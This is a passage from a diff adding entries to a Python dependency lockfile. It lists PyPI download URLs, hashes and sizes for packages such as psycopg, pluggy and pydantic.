"https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" }, + { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" }, + { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" }, + { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" }, + { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" }, + { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" }, + { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" }, + { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" }, + { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" }, + { url = "https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" }, + { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" }, + { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" }, + { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" }, +] + +[[package]] +name = "packaging" +version = "25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "psycopg" +version = "3.3.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, + { name = "tzdata", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/db/2f/cb91e5502ec9de1de6f1b76cfbf69531932725361168bb06963620c77e2e/psycopg-3.3.4.tar.gz", hash = "sha256:e21207764952cff81b6b8bdacad9a3939f2793367fdac2987b3aac36a651b5bc", size = 165799, upload-time = "2026-05-01T23:31:55.179Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5c/e0/7b3dee031daae7743609ce3c746565d4a3ed7c2c186479eb48e34e838c64/psycopg-3.3.4-py3-none-any.whl", hash = "sha256:b6bbc25ccf05c8fad3b061d9db2ef0909a555171b84b07f29458a447253d679a", size = 213001, upload-time = "2026-05-01T23:20:50.816Z" }, +] + +[[package]] +name = "psycopg-binary" +version = "3.3.4" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/bf/70d8a60488f9955cbbcd538beae44d56bb2f1d19e673b72788f2d343ff55/psycopg_binary-3.3.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b7bfff1ca23732b488cbca3076fc11bc98d520ee122514fdb17a8e20d3338f5a", size = 4609750, upload-time = "2026-05-01T23:24:20.06Z" }, + { url = "https://files.pythonhosted.org/packages/db/b0/29e98ba210c9dbc75a6dc91e3f99b9e06ea901a62ca95804e02a1ae13e6b/psycopg_binary-3.3.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:32a6fbf8481e3a370d0d72b860d35948a693cb01281da217f7b2f307636e591a", size = 4676700, upload-time = "2026-05-01T23:25:21.727Z" }, + { url = "https://files.pythonhosted.org/packages/8e/ab/3df087b3c12bf74e47c08204172b2fabb5a144679110d5c7ad12d9201323/psycopg_binary-3.3.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:bdef84570ebbce1d42b4e7ea952d21c414c5f118ad02fee00c5625f35e134429", size = 5496319, upload-time = "2026-05-01T23:25:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/87/9a/f088207b4cd6772f9e0d8a91807e79fa2458d4eb9eb1ae406c68415f2bec/psycopg_binary-3.3.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fa1cbc10768a796c96d3243656016bf4e337c81c71097270bb7b0ad6210d9765", size = 5171906, upload-time = "2026-05-01T23:25:34.004Z" }, + { url = "https://files.pythonhosted.org/packages/48/45/4523a857f253871d75c22e1c2e79fd47e599e736bcba1bad58d83e24be02/psycopg_binary-3.3.4-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cf7f73a4a792bc5db58a4b385d8a1467e8d468f7548702fb0ed1e9b7501b1c13", size = 6762621, upload-time = "2026-05-01T23:25:41.392Z" }, + { url = "https://files.pythonhosted.org/packages/7c/d1/925bf776503345bef428e6c45fb017d0139ddbe0e211814b585c4253dca8/psycopg_binary-3.3.4-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d7b4d40c153fa352ab3cca530f3a0baedf7621b2ebcbd7f084009522c21788fc", size = 5006319, upload-time = "2026-05-01T23:25:51.419Z" }, + { url = "https://files.pythonhosted.org/packages/6f/aa/99727337206fbba357ca084bf4ea8b29dc986f61842a2685859af61416db/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f9b1c2533af01cd7648378599f82b0b8ae32f293296e6eec5753a625bc97ef28", size = 4535388, upload-time = "2026-05-01T23:25:57.957Z" }, + { url = "https://files.pythonhosted.org/packages/0b/a4/567ba2c37d19d8c2f63d836385dfd2495aa5897bbee6cfab104d9ee58624/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:ad3bc94054876155549fdaedf4a46d1ec69d39a5bcee377148afe498e84c4b8e", size = 4224544, upload-time = "2026-05-01T23:26:03.832Z" }, + { url = "https://files.pythonhosted.org/packages/b7/23/86457f5a82731685d7701de7bfaa5eb783dd1fecbf875321897d9d9ce33a/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:eb4eed2079c01a4850bf467deacfab56d356d4225040170af03dc9958321242d", size = 3956282, upload-time = "2026-05-01T23:26:09.983Z" }, + { url = "https://files.pythonhosted.org/packages/a7/d8/249456df16d47de082abd9b73bce8ccdeb0293eb12e590f9150c7cbdb788/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f80e3f2b5331dbbf0901bcb658056c03eeb2c1ef31d774afb0d61598b242e744", size = 4261736, upload-time = "2026-05-01T23:26:16.798Z" }, + { url = "https://files.pythonhosted.org/packages/15/6b/c4abe228acafd8a385c1fb615d4f1e3c9b8ad7a4e4f0e84118ba3ffeed9c/psycopg_binary-3.3.4-cp310-cp310-win_amd64.whl", hash = "sha256:574ea21a9651958f1535c5a1c649c7409e9168bcbffa29a3f2f961f58b322949", size = 3570620, upload-time = "2026-05-01T23:26:22.655Z" }, + { url = "https://files.pythonhosted.org/packages/b6/82/df3312c0ca083d5b43b352f27d4dd8b1e614bd334473074715d9e0000da4/psycopg_binary-3.3.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:612a627d733f695b1de1f9b4bd511c15f999a5d8b915d444bbd7dd71cf3370da", size = 4609813, upload-time = "2026-05-01T23:26:30.612Z" }, + { url = "https://files.pythonhosted.org/packages/1f/b5/d74d542458d3e8ac0571d8a88f57ca369999b9a82f4fa528052d0d7d3e4c/psycopg_binary-3.3.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:13a7f380824c35896dcac7fe0f61440f7ca49d6dc73f3c13a9a4471e6a3b302e", size = 4676799, upload-time = "2026-05-01T23:26:38.475Z" }, + { url = "https://files.pythonhosted.org/packages/09/67/06bab9c60671999f4c6ceff1b334f3ac1f9fc5789eb467c714623ea21de9/psycopg_binary-3.3.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:276904e3452d6a23d474ef9a21eee19f20eed3d53ddd2576af033827e0ba0992", size = 5497050, upload-time = "2026-05-01T23:26:47.061Z" }, + { url = "https://files.pythonhosted.org/packages/72/9b/023433e2b20f970de1e22d29132a95281277646da0b2e2879dd4ee94b8c1/psycopg_binary-3.3.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ab8cca8ef8fb1ccf5b048ae5bd78ba55b9e4b5d472e3ce5ca39ff4d2a9c249e4", size = 5172428, upload-time = "2026-05-01T23:26:56.708Z" }, + { url = "https://files.pythonhosted.org/packages/08/cd/ae16da8fde228a38b2fe9269bbc13cf89e0186173f2265600f02d6a71e64/psycopg_binary-3.3.4-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7465bfe6087d2d5b42d4c53b9b11ca9f218e477317a4a162a10e3c19e984ba8e", size = 6762746, upload-time = "2026-05-01T23:27:07.023Z" }, + { url = "https://files.pythonhosted.org/packages/4f/81/0ba09fa5f5f88779093a2541a8e02489825721f258ab88058b11d68b3eb5/psycopg_binary-3.3.4-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:22cdbf5f91ef7bb91fe0c5757e1962d3127a8010256eefd9c61fcaf441802097", size = 5006033, upload-time = "2026-05-01T23:27:12.221Z" }, + { url = "https://files.pythonhosted.org/packages/73/6a/629136040cc3497adb442a305710b5913f2a754d4630fc3d3717c4c0df65/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e2631da29253a98bd496e6c4813b24e09a4fe3fb2a9e88513305d6f8747cce95", size = 4534175, upload-time = "2026-05-01T23:27:18.248Z" }, + { url = "https://files.pythonhosted.org/packages/7c/32/1027f843c6dc2d5d51960ee62cc0c2cf755a4c39455aff1371173edbef7d/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:7f7668f30b9dd5163197e5cbf4e0efd54e00f0a859cc566ce56cfc31f4054839", size = 4224203, upload-time = "2026-05-01T23:27:24.3Z" }, + { url = "https://files.pythonhosted.org/packages/0b/e1/380a724d9093c74adb14d4fce920ea8327838abb61f760b1448586b14a8e/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:cffc3408d77a27973f33e5d909b624cce683db5fc25964b02fe0aae7886c1007", size = 3954509, upload-time = "2026-05-01T23:27:30.815Z" }, + { url = "https://files.pythonhosted.org/packages/db/cd/895893ae575a09c97ccfd5def070d88993d955ef34df45a881fd5ff506d6/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0579252a1202cd73e4da137a1426e2dae993ae44e757605344282af3a082848c", size = 4259551, upload-time = "2026-05-01T23:27:38.828Z" }, + { url = "https://files.pythonhosted.org/packages/dd/c6/2330a20794e37a3ec609ef2fd8522919ec7a4395a1abf979a8e2d1775cd5/psycopg_binary-3.3.4-cp311-cp311-win_amd64.whl", hash = "sha256:41f2ec0fea529832982bcb6c9415de3c86264ebe562b77a467c0fbcd7efbba8d", size = 3572054, upload-time = "2026-05-01T23:27:45.455Z" }, + { url = "https://files.pythonhosted.org/packages/95/7d/03818e13ba7f36de93573c93ee3482006d3dfa8b0f8d28df511bad0a1a92/psycopg_binary-3.3.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5ab28a2a7649df3b72e6b674b4c190e448e8e77cf496a65bd846472048de2089", size = 4591122, upload-time = "2026-05-01T23:27:56.162Z" }, + { url = "https://files.pythonhosted.org/packages/a5/b9/11b341edf8d54e2694726b273fe9652b254d989f4f63e3ac6816ad6b55f4/psycopg_binary-3.3.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6402a9d8146cf4b3974ded3fd28a971e83dc6a0333eb7822524a3aa20b546578", size = 4669943, upload-time = "2026-05-01T23:28:04.522Z" }, + { url = "https://files.pythonhosted.org/packages/8b/18/4665bacd65e7865b4372fcd8abb8b9186ada4b0025f8c2ca691b364a556c/psycopg_binary-3.3.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:580ae30a5f95ccd90008ec697d3ed6a4a2047a516407ad904283fa42086936e9", size = 5469697, upload-time = "2026-05-01T23:28:11.337Z" }, + { url = "https://files.pythonhosted.org/packages/7c/b1/b83136c6e510593d9b0c759ba5384337bc4ad82d19fda675adc4b2703c84/psycopg_binary-3.3.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:e7510c37550f91a187e3660a8cc50d4b760f8c3b8b2f89ebc5698cd2c7f2c85d", size = 5152995, upload-time = "2026-05-01T23:28:20.529Z" }, + { url = "https://files.pythonhosted.org/packages/67/8d/a9821e2a648afe6091989929982a3b0f00b2631a859cb81379728f08fb75/psycopg_binary-3.3.4-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:77df19583501ea288eaf15ac0fe7ad01e6d8091a91d5c41df5c718f307d8e31b", size = 6738180, upload-time = "2026-05-01T23:28:30.654Z" }, + { url = "https://files.pythonhosted.org/packages/7e/58/2e349e8d23905dc2317b80ac65f48fb6f821a4777a4e994a60da91c4850f/psycopg_binary-3.3.4-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:018fbed325936da502feb546642c982dcc4b9ffdea32dfef78dbf3b7f7ad4070", size = 4978828, upload-time = "2026-05-01T23:28:37.277Z" }, + { url = "https://files.pythonhosted.org/packages/45/48/57b00d03b4721878326122a1f1e6b0a90b85bcaec56b5b2f8ea6cfa45235/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:17a21953a9e5ff3a16dab692625a3676e2f101db5e40072f39dbee2250194d68", size = 4509757, upload-time = "2026-05-01T23:28:43.078Z" }, + { url = "https://files.pythonhosted.org/packages/25/37/33b47d8c007df69aec500df5889767c4d313748e8e9e27a2fef8a6dabcee/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:eb05ee1c2b817d27c537333224c9e83c7afb86fe7296ba970990068baf819b16", size = 4190546, upload-time = "2026-05-01T23:28:50.016Z" }, + { url = "https://files.pythonhosted.org/packages/ca/c6/32b0835dbc2122617902b649d76a91c1e75406e76bf3d595b0c3bb5ffad6/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:773d573e11f437ce0bdb95b7c18dc58390494f96d43f8b45b9760436114f7652", size = 3926197, upload-time = "2026-05-01T23:28:55.55Z" }, + { url = "https://files.pythonhosted.org/packages/cd/68/d190ef0c0c5b16ded07831dabc8ddd412f4cdab07ec6e30ed38d9bda0e1f/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e55ccbdfae79a2ed9c6369c3008a3025817ff9d7e27b32a2d84e2a4267e66e", size = 4236627, upload-time = "2026-05-01T23:29:05.336Z" }, + { url = "https://files.pythonhosted.org/packages/25/8f/81dcbc2e8454b74d14881275ea45f00791052dac531a9fa8be1730d1685b/psycopg_binary-3.3.4-cp312-cp312-win_amd64.whl", hash = "sha256:494ca54901be8cf9eb7e02c25b731f2317c378efa44f43e8f9bd0e1184ae7be4", size = 3560782, upload-time = "2026-05-01T23:29:11.967Z" }, + { url = "https://files.pythonhosted.org/packages/09/43/13e9c406fbbf354580476e248a16b64802a376873ebe6339e30bb655572d/psycopg_binary-3.3.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:fbd1d4ed566895ad2d3bf4ddfd8bae90026930ddf29df3b9d91d32c8c47866a7", size = 4590377, upload-time = "2026-05-01T23:29:18.782Z" }, + { url = "https://files.pythonhosted.org/packages/22/be/2923cd7c3683e7afdecf4f10796a18de02f5c5ddc0969aa2ad0a8cdd3bbd/psycopg_binary-3.3.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:75a9067e236f9b9ae3535b66fe99bddb33d39c0de10112e49b9ab11eee53dc31", size = 4669023, upload-time = "2026-05-01T23:29:25.884Z" }, + { url = "https://files.pythonhosted.org/packages/96/a0/2c913d6fe13d6a8bd13597d36739bf47af063ad9399e402cfecab16f3c1e/psycopg_binary-3.3.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:b56b603ebcea8aa10b46228b8410ba7f13e7c2ee54389d4d9be0927fd8ce2a70", size = 5467423, upload-time = "2026-05-01T23:29:33.416Z" }, + { url = "https://files.pythonhosted.org/packages/e7/38/205d10bc1ad0df4a21c5c51659126bd3ea0ef98fcad1e852f78c249bb9c3/psycopg_binary-3.3.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c677c4ad433cb7150c8cd304a0769ae3bcfbe5ea0676eb53faa7b1443b16d0d3", size = 5151137, upload-time = "2026-05-01T23:29:42.013Z" }, + { url = "https://files.pythonhosted.org/packages/36/fc/f0381ddcd45eff3bb70dbca6823a996048d7f507b2ec3fc92c6fabc0fe87/psycopg_binary-3.3.4-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26df2717e59c0473e4465a97dfb1b7afebaa479277870fd5784d1436470db47c", size = 6736671, upload-time = "2026-05-01T23:29:51.626Z" }, + { url = "https://files.pythonhosted.org/packages/95/40/fa545ae152c24327651e5624e4902121e808270be36c10b12e9939be09bc/psycopg_binary-3.3.4-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1dc1f79fd16bb1f3f4421417a514607539f17804d95c7ed617265369d1981cae", size = 4979601, upload-time = "2026-05-01T23:29:56.961Z" }, + { url = "https://files.pythonhosted.org/packages/86/e4/2f8a47ee97f90cd2b933d0463081d35631ff419de2b8c984a5f369857de0/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:136f199a407b5348b9b857c504aff60c77622a28482e7195839ce1b51238c4cc", size = 4510513, upload-time = "2026-05-01T23:30:07.243Z" }, + { url = "https://files.pythonhosted.org/packages/0e/0e/94e842ff4a7f98ed162580ca2e8b8864b28c1e0350f2443f8ee47f821167/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:b6f5a29e9c775b9f12a1a717aa7a2c80f9e1db6f27ba44a5b59c80ac61d2ffcf", size = 4187243, upload-time = "2026-05-01T23:30:15.352Z" }, + { url = "https://files.pythonhosted.org/packages/d0/83/fc6c174b672e29b7de996ea77b6cbddf46c891751c3355f6974292baa6b4/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:ee17a2cf4943cde261adfad1bbc5bf38d6b3776d7afff74c7cabcbeaeb08c260", size = 3927347, upload-time = "2026-05-01T23:30:21.186Z" }, + { url = "https://files.pythonhosted.org/packages/e9/65/768364d4a97a15b1a7f47ba52688c1686f22941d8332a8398cefc468e25f/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5c4ab71be17bdca30cb34c34c4e1496e2f5d6f20c199c12bad226070b22ef9bf", size = 4236393, upload-time = "2026-05-01T23:30:26.211Z" }, + { url = "https://files.pythonhosted.org/packages/bd/3b/218efbc9e645becd80cdf651acda05f85cfe546b7a9c0458c7cbc8fe1f74/psycopg_binary-3.3.4-cp313-cp313-win_amd64.whl", hash = "sha256:dbfdb9b6cc79f31104a7b162a2b921b765fcc62af6c00540a167a8de47e4ed38", size = 3564592, upload-time = "2026-05-01T23:30:31.764Z" }, + { url = "https://files.pythonhosted.org/packages/48/a6/828c9185701dab71b234c2a76c38a08b098ebfec5020716b4e93807492b5/psycopg_binary-3.3.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:28b7398fdd19db3232c884fb24550bdfe951221f510e195e233299e4c9b78f97", size = 4607292, upload-time = "2026-05-01T23:30:38.962Z" }, + { url = "https://files.pythonhosted.org/packages/92/58/5b40dbc9d839045c9dae956960e4fb6d20bcabe6c59a2aa34fc3a371913f/psycopg_binary-3.3.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1fbaa292a3c8bb61b45df1ad3da1908ccee7cb889db9425e3557d9e34e2a4829", size = 4687023, upload-time = "2026-05-01T23:30:47.227Z" }, + { url = "https://files.pythonhosted.org/packages/85/a9/793f0ac107a9003b48441d0d1f9f616d96e0f37458dd8dc12528ceff55fb/psycopg_binary-3.3.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:94596f9e7633ee3f6440711d43bb70aa31cc0a46a900ab8b4201a366ace5c9e7", size = 5486985, upload-time = "2026-05-01T23:30:55.517Z" }, + { url = "https://files.pythonhosted.org/packages/8f/26/42e8533497e2592334f68ec529cf5f840f7fa4e99575a4bb61aa184dbfbf/psycopg_binary-3.3.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8c0056529e68dbe9184cd4019a1f3d8f3a4ead2f6fc7a5afcf27d3314edd1277", size = 5168745, upload-time = "2026-05-01T23:31:01.904Z" }, + { url = "https://files.pythonhosted.org/packages/15/af/b7151776cc08d5935d45c833ec818a9beb417cf7c08239af1aafbdae78ee/psycopg_binary-3.3.4-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2c09aad7051326e7603c14e50636db9c01f78272dc54b3accff03d46370461e6", size = 6761486, upload-time = "2026-05-01T23:31:14.511Z" }, + { url = "https://files.pythonhosted.org/packages/d0/ed/c92533b9124712d592cbf1cd6c76da933a2e0acea81dfe1fbe7e735f0cff/psycopg_binary-3.3.4-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:514404ed543efd620c85602b747df2a23cf1241b4067199e1a66f2d2757aaa41", size = 4997427, upload-time = "2026-05-01T23:31:20.901Z" }, + { url = "https://files.pythonhosted.org/packages/a2/23/ccadfd0de416aa188356daa199453af24087b042e296088706d190ae0295/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:46893c26858be12cc49ca4226ed6a60b4bfccadd946b3bebb783a60b38788228", size = 4533549, upload-time = "2026-05-01T23:31:26.204Z" }, + { url = "https://files.pythonhosted.org/packages/fd/a0/c8f43cee36386f7bc891ab41a9d31ea07cf9826038e732da79f26b1e5f34/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:df1d567fc430f6df15c9fcf67d87685fc49bdb325adc0db5af1adfb2f44eb5c9", size = 4210256, upload-time = "2026-05-01T23:31:33.884Z" }, + { url = "https://files.pythonhosted.org/packages/4e/2c/c1547871be3790676e8868b38655496422f94f0978dfb66b74bdba2f1676/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:6b9016b1714da4dd5ecaaa75b82098aa5a0b87854ce9b092e21c27c4ae23e014", size = 3946204, upload-time = "2026-05-01T23:31:39.626Z" }, + { url = "https://files.pythonhosted.org/packages/c4/b1/f6670f00fa7ea601584623f6c11602ab92117d83eaff885e0210f6de7418/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:47c656a8a7ba6eb0cff1801a4caaa9c8bdc12d03080e273aff1c8ac39971a77e", size = 4255811, upload-time = "2026-05-01T23:31:44.986Z" }, + { url = "https://files.pythonhosted.org/packages/eb/e6/5fff07a70d1f945ed90ae131c3bd76cab32beff7c58c6db15ad5820b6d1f/psycopg_binary-3.3.4-cp314-cp314-win_amd64.whl", hash = "sha256:c37e024c07308cd06cf3ec51bfd0e7f6157585a4d84d1bce4a7f5f7913719bf8", size = 3666849, upload-time = "2026-05-01T23:31:51.165Z" }, +] + +[[package]] +name = "psycopg-pool" +version = "3.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/90/82/7a23d26039827ecd4ebe93905651029ddd307c5182ad59296dfb6f67b528/psycopg_pool-3.3.1.tar.gz", hash = "sha256:b10b10b7a175d5cc1592147dc5b7eec8a9e0834eb3ed2c4a92c858e2f51eb63c", size = 31661, upload-time = "2026-05-01T23:31:59.809Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/37/ed/89c2c620af0e1660354cd8aabf9f5b21f911597ce22acb37c805d6c86bc8/psycopg_pool-3.3.1-py3-none-any.whl", hash = "sha256:2af5b432941c4c9ad5c87b3fa410aec910ec8f7c122855897983a06c45f2e4b5", size = 40023, upload-time = "2026-05-01T23:31:53.136Z" }, +] + +[[package]] +name = "pydantic" +version = "2.13.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = 